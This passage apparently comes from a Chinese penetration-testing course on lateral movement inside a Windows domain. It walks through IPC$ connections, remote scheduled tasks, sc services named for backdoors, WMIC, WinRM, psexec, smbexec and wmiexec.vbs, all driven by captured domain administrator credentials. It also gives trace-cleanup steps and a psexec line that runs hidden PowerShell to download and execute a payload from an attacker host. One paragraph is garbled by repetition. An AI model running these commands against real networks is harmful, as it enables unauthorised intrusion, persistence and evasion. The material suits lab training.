https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_45.png

通过以上方法,我们得到了域DE1的管理员账号Administrator及其密码。由于域管理员账号可以登录域内的任何主机,因此这些凭证对我们进行横向移动至关重要。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_47.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_49.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_51.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_53.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_55.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_57.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_58.png

2. 探测内网存活主机 📡

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_60.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_62.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_64.png

在尝试连接其他主机前,我们需要知道目标网络中有哪些主机是存活的。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_66.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_68.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_70.png

我们可以从已获取的Meterpreter会话中,使用shell命令进行内网主机存活探测:

meterpreter > shell
C:\> for /L %i in (1,1,254) do @ping -n 1 -w 50 10.10.10.%i | findstr "TTL"

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_72.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_74.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_76.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_78.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_80.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_82.png

假设探测发现IP地址为10.10.10.201的主机存活,并且它开放了445端口(文件共享服务)和135端口(RPC服务),这满足了IPC$连接的基本条件。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_84.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_86.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_88.png

3. 利用IPC$进行横向移动 🔗

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_90.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_92.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_94.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_96.png

IPC (进程间通信)共享是 W i n d o w s 用于管理远程计算机的隐藏共享。建立 I P C (进程间通信)共享是Windows用于管理远程计算机的隐藏共享。建立IPC (进程间通信)共享是Windows用于管理远程计算机的隐藏共享。建立IPC连接后,可以进行文件操作、命令执行等。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_98.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_100.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_102.png

建立IPC$连接

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_103.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_105.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_107.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_109.png

首先,检查并清理可能存在的旧连接,然后使用获取的域管理员凭证建立新连接:

C:\> net use \\10.10.10.201\IPC$ /delete
C:\> net use \\10.10.10.201\IPC$ Password123! /user:DE1\Administrator

命令成功执行,表示连接已建立。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_111.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_113.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_115.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_117.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_119.png

IPC$连接的应用

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_121.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_123.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_125.png

建立连接后,我们可以进行多种操作:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_127.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_129.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_131.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_133.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_135.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_136.png

访问远程文件系统:

C:\> dir \\10.10.10.201\C$

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_138.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_140.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_142.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_144.png

上传文件到远程主机:

C:\> copy C:\test.exe \\10.10.10.201\C$\test.exe

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_146.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_147.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_149.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_151.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_153.png

从远程主机下载文件:

C:\> copy \\10.10.10.201\C$\important.txt C:\local_copy.txt

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_155.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_157.png

查看远程主机时间(为计划任务做准备):

C:\> net time \\10.10.10.201

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_159.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_161.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_163.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_165.png

4. 利用计划任务执行命令 ⏰

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_167.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_169.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_171.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_173.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_175.png

计划任务(schtasksat)允许我们在远程主机上定时执行命令或程序,从而获取反向Shell。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_177.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_178.png

使用 schtasks 命令

首先,将后门程序通过IPC$连接上传到目标主机。然后,创建计划任务立即执行它:

C:\> schtasks /create /s 10.10.10.201 /u DE1\Administrator /p Password123! /sc minute /mo 1 /tn "BackdoorTask" /tr "C:\test.exe" /ru SYSTEM
  • /s: 指定远程主机。

  • /u/p: 提供用户名和密码。

  • /sc minute /mo 1: 设置为每分钟执行一次。

  • /tn: 任务名称。

  • /tr: 要执行的程序路径。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_180.png

任务创建后,等待其执行,即可在攻击机(如Metasploit)上收到来自10.10.10.201的反向Shell连接。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_182.png

清理痕迹:

C:\> schtasks /delete /s 10.10.10.201 /u DE1\Administrator /p Password123! /tn "BackdoorTask"

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_184.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_186.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_188.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_190.png

使用 at 命令(旧系统)

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_192.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_193.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_195.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_196.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_198.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_200.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_201.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_202.png

在Windows Server 2008或Win7等系统上,也可以使用at命令:

C:\> net time \\10.10.10.201
C:\> at \\10.10.10.201 21:10 C:\test.exe

此命令会在远程主机的21:10执行C:\test.exe

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_204.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_206.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_208.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_210.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_212.png

5. 利用SC命令管理服务 ⚙️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_214.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_216.png

SC命令可以远程创建、启动、停止服务。我们可以创建一个服务来执行我们的后门程序。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_218.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_220.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_222.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_224.png

在远程主机上创建服务:

C:\> sc \\10.10.10.201 create BackdoorService binpath= "cmd /c C:\test.exe" start= auto

启动远程服务:

C:\> sc \\10.10.10.201 start BackdoorService

服务启动后,会执行binpath指定的命令,从而触发我们的后门。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_226.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_228.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_230.png

查询服务状态:

C:\> sc \\10.10.10.201 qc BackdoorService

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_232.png

6. 利用WMIC执行命令 💻

WMIC(Windows管理工具命令行)支持远程执行命令。但默认无回显,通常用于创建进程。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_234.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_236.png

在远程主机上创建进程(例如启动计算器):

C:\> wmic /node:10.10.10.201 /user:DE1\Administrator /password:Password123! process call create "calc.exe"

此命令会返回创建的进程ID。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_238.png

结合反弹Shell命令:

我们可以将calc.exe替换为任何能在目标机器上执行的命令,例如一个通过certutilpowershell下载并执行Payload的命令,从而直接获取反向Shell。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_240.png

7. 利用WinRM执行命令 🌐

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_242.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_244.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_246.png

WinRM(Windows远程管理)是Windows的远程管理服务,默认在2012及以上版本开启,允许远程执行PowerShell命令。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_248.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_250.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_252.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_253.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_255.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_257.png

首先,在目标主机上启用WinRM(如果需要):

C:\> winrm quickconfig
C:\> winrm set winrm/config/client @{TrustedHosts="*"}

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_259.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_261.png

使用WinRS执行命令(有回显):

C:\> winrs -r:http://10.10.10.201:5985 -u:DE1\Administrator -p:Password123! ipconfig

此命令会远程执行ipconfig并返回结果。

使用WinRM的Invoke-WmiMethod创建进程(无回显):

C:\> powershell -Command "$cred = Get-Credential; Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'calc.exe' -ComputerName 10.10.10.201 -Credential $cred"

同样,可以将calc.exe替换为反弹Shell的命令。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_263.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_264.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_265.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_267.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_269.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_271.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_273.png

使用WinRM创建并启动服务:

通过PowerShell,可以远程调用WMI创建和启动服务来执行后门,原理与SC命令类似。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_275.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_277.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_279.png

总结

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_281.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_283.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_285.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_286.png

本节课我们一起学习了利用Windows内置工具进行横向移动的多种方法:

  1. IPC$共享连接:用于建立远程管理通道,进行文件传输和基础信息获取。

  2. 计划任务(schtasks/at):用于在远程主机上定时执行我们的Payload。

  3. SC命令:用于远程创建和启动服务,以系统权限执行命令。

  4. WMIC:用于在远程主机上创建进程(无回显)。

  5. WinRM:强大的远程管理协议,可以执行命令(有回显)和管理远程服务。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_288.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_290.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_292.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_294.png

这些方法的核心思路都是:利用从已控主机获取的高权限凭证,通过Windows自带的管理功能,在远程主机上执行代码。掌握这些技术对于理解内网渗透的横向移动至关重要。请大家务必在实验环境中亲手操作一遍,以加深理解。

079:外部工具篇 🔧

在本节课中,我们将学习内网横向移动的外部工具使用方法。上一节我们介绍了Windows系统内置的横向移动工具,本节我们将重点讲解需要上传到目标主机的外部工具,它们能扩展命令功能并实现更强大的横向渗透能力。

概述 📋

本节课内容分为五个部分:psexecsmbexec工具、wmiexec脚本、在Metasploit和Cobalt Strike中的横向移动操作,以及SharpRDP工具。这些工具能帮助我们基于已控制的跳板机,进一步渗透内网中的其他主机。


第一部分:psexec与smbexec工具

上一节我们介绍了利用系统内置命令进行横向移动。本节中,我们来看看两个功能强大的外部工具:psexecsmbexec

psexec工具介绍

psexec是一个轻量级的Telnet替代品。它允许在远程系统上执行进程,并为控制台应用程序提供完整的交互性,而无需在目标主机上安装客户端软件。

其工作原理基于以下步骤:

  1. 建立IPC连接。

  2. 将服务程序释放到目标机器。

  3. 使用OpenSCManager打开服务控制器句柄。

  4. 创建并启动服务,从而执行命令。

基本使用语法如下:

  • 若已建立IPC连接,可直接使用:psexec \\目标IP 命令

  • 若未建立连接,需指定凭据:psexec \\目标IP -u 用户名 -p 密码 命令

以下是psexec的两种主要用途:

1. 反弹CMD shell

通过以下命令,可以获取一个交互式的CMD会话。

psexec \\目标IP -s cmd.exe /accepteula

参数说明:-s表示以SYSTEM权限运行,/accepteula用于自动接受许可协议。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_1.png

2. 执行单条命令

直接在命令后附加要执行的指令即可。

psexec \\目标IP -u administrator -p Password123 ipconfig

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_2.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_3.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_4.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_5.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_6.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_7.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_8.png

在Cobalt Strike中的注意事项

在Cobalt Strike的Beacon中执行psexec时,由于通信基于HTTP,无法直接获得交互式shell。我们的主要目的是在远程主机上执行反弹shell的命令。注意: 在Beacon中使用psexec传递命令时,不要用双引号包裹命令,否则会报“找不到文件”错误。

正确用法示例(用于执行PowerShell反弹):

psexec \\192.168.1.100 -u domain\user -p pass -s cmd.exe /c powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://攻击机IP:80/a'))"

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_9.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_11.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_13.png

smbexec工具介绍

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_15.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_17.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_19.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_20.png

smbexec是基于psexec原理的测试工具,属于impacket工具套件的一部分。它的使用格式和效果与psexec类似。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_22.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_24.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_25.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_27.png

使用示例:

smbexec.py 域名/用户名:密码@目标IP

执行后,同样会建立连接、上传服务、执行命令并清理痕迹。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_29.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_31.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_33.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_34.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_36.png

关于Impacket套件

Impacket项目提供了多种内网渗透脚本,包括psexec.pysmbexec.py等。这些工具既有Python脚本版本(需目标机有Python环境),也有编译好的Windows可执行文件(.exe),可根据实际情况选择使用。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_37.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_39.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_40.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_42.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_44.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_46.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_48.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_50.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_51.png

第二部分:wmiexec脚本

上一节我们提到wmic命令执行无回显的缺点。本节中,我们利用wmiexec.vbs脚本来解决这个问题,实现带回显的WMI横向移动。

脚本用法

这是一个VBS脚本,需要使用cscript解释器执行。/nologo参数用于禁止显示脚本标头信息。

1. 执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd 用户名 密码 目标IP "要执行的命令"

2. 获取半交互式Shell

不指定具体命令,可直接获得一个半交互式的CMD shell。

cscript.exe //nologo wmiexec.vbs /shell 用户名 密码 目标IP

原理与注意事项

该脚本的核心是向目标上传并执行一个名为wmi.dll的文件,该文件负责捕获命令执行结果并回传。

可能遇到的问题:

如果多次对同一目标使用该脚本,可能会因wmi.dll文件被占用而导致上传失败。解决方法是在VBS脚本中修改wmi.dll的文件名,避免冲突。


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_53.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_55.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_57.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_58.png

第三部分:Metasploit与Cobalt Strike中的横向移动

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_60.png

在渗透测试框架中,可以更方便地集成上述工具进行横向移动。

在Metasploit中操作

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_62.png

